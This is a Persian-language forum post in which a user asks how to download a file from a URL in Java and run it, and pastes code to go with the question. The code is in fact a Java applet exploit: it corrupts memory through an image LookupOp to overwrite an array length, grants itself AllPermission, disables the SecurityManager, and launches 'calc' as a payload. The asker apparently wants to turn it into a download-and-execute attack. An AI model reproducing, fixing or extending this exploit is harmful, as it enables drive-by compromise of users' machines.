دانلود فایل با استفاده از جاوا

[deli_h]

سلام دوستان
کسی میتونه درمورد اینکه چطور یک فایل رو از یک url بگیرم و دانلود کنم و بعدش بتونه اجرا بشه کمکم کنه؟
این کدش هست ولی نمیدونم چرا برای url پاسخگو نیست یعنی قسمت دانلودش انجام   java.awt.image.*;
import java.beans.Statement;
import java.security.*;
import java.applet.*;


public class TestByteBI extends Applet {

public int numArrays_ = 10;
public final int arrayLength = 11;
public int[][] Arrays_;


public TestByteBI() {

}

public void init() {
go();
}

public void go() {
BufferedImage src, dst;

Kernel kernel;

try {
String name = "setSecurityManager";
Object[] o1 = new Object[1];
Object o2 = new Statement(System.class, name, o1); // make a dummy call for init

Arrays_ = new int[numArrays_][];

kernel = new Kernel(1,1, new float[]{1.0f, 1.0f, 1.0f, 1.0f});
byte[][] data = new byte[1][2000];
for (int i = 0; i < data.length; ++ i) {
for (int j = 0; j < data.length; ++ j) {
data[I][j] = 0x41;
}
}
ByteLookupTable lookupTable = new ByteLookupTable(0, data);

LookupOp op = new LookupOp(lookupTable, null);

int srcW = 20, srcH = 20;
int dstW = 7, dstH = 7;

src = new MyBufferedImage(srcW, srcH, dstW, dstH, BufferedImage.TYPE_USHORT_GRAY);

BufferedImage tmp = new BufferedImage(dstW, dstH, BufferedImage.TYPE_BYTE_GRAY);


DataBufferByte dstBuffer = new DataBufferByte(dstW * dstH);

for ( int i = 0; i < numArrays_; ++ i ) {
Arrays_[I] = new int[arrayLength];
for ( int j = 0; j < arrayLength; ++ j ) {
Arrays_[I][j] = 0x696b7579;
}
}

WritableRaster raster = Raster.createWritableRaster(tmp.getSampleModel(), dstBuffer, null);

dst = new BufferedImage(tmp.getColorModel(), raster, false, null);






Object[] oo = new Object[7];

oo[2] = new Statement(System.class, name, o1);

// create powerful AccessControlContext
Permissions ps = new Permissions();
ps.add(new AllPermission());


oo[3] = new AccessControlContext(
new ProtectionDomain[]{
new ProtectionDomain(
new CodeSource(
new java.net.URL("file:///"),
new java.security.cert.Certificate[0]
),
ps
)
}
);


// store System.class pointer in oo[]
oo[4] = ((Statement)oo[2]).getTarget();

op.filter(src, dst);

int[] a = null;

for ( int i = 0; i < numArrays_; ++ i ) {
if ( Arrays_[I] != null && Arrays_[I].length > arrayLength ) {
a = Arrays_[I];
break;
}
}

if ( null == a ) {
System.out.println( "Failed to overwrite array length!" );
return;
}


boolean found = false;
int ooLen = oo.length;
for(int i=arrayLength+2; i < a.length; i++)
if (a[i-1]==ooLen && a[I]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null
&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null
{
// read pointer from oo[4]
int stmTrg = a[i+4];
// search for the Statement.target field behind oo[]
for(int j=i+7; j < i+7+64; j++){
if (a[j] == stmTrg) {
// overwrite default Statement.acc by oo[3] ("AllPermission")
a[j-1] = a[i+3];
found = true;
break;
}
}
if (found) break;
}

// check results
if (!found) {
System.out.println( "Failed to find object array!" );
} else try {
// show current SecurityManager
System.out.println("Security Manager = " + System.getSecurityManager());

// call System.setSecurityManager(null)
((Statement)oo[2]).execute();

// show results: SecurityManager should be null
System.out.println("Security Manager = " + System.getSecurityManager());

Runtime.getRuntime().exec( "calc" );
} catch (Exception ex) {
ex.printStackTrace();
}
} catch (Exception ex) {
ex.printStackTrace();
}



}

public static void main(String[] args) {
new TestByteBI().go();
}


public static class MyBufferedImage extends BufferedImage {
private int fakeW_, fakeH_;

public MyBufferedImage(int w, int h, int fakeW, int fakeH, int type) {
super(w, h, type);

fakeW_ = fakeW;
fakeH_ = fakeH;
}

public int getWidth() {
return fakeW_;
}

public int getHeight() {
return fakeH_;
}
}
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